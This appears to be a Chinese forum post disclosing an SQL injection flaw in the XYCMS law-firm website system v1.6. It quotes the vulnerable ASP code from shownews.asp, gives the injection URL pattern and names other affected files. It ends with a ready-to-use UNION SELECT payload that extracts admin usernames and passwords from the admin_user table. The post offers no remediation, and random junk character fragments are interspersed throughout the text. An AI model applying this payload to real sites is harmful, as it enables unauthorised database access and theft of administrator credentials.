XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
--------------------------------------------------------

# k. M6 z9 e- s+ V; ^审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

' e" y2 y* z( I$ k5 e漏洞文件:shownews.asp
漏洞代码：7-13行

' s6 A7 R( l; `
<%
id=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
: m/ |8 s" g+ `+ w2 Zexec="select * from [news] where id="&id
7 M! _  x# z: xsnews.open exec,conn,1,1
$ ?) b; r  [# ?/ }( w%>

+ Y% Q% y3 d* w' }4 C
什么过滤都没有  直造成注入
4 x5 M3 K: D( o
注入点:http://127.0.0.1:99/shownews.asp?id=xx
  K1 {0 b5 c+ [  X
, t- u/ n# U- ^, M% D1 \. L( i其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
7 p6 E( w8 U# u. a, T& e* ^

% r4 L$ i- ]- pexp: union select 1,admin,password,4,5,7 from admin_user
​
/ m/ N# t# ?% S8 B0 ~* Z2 ?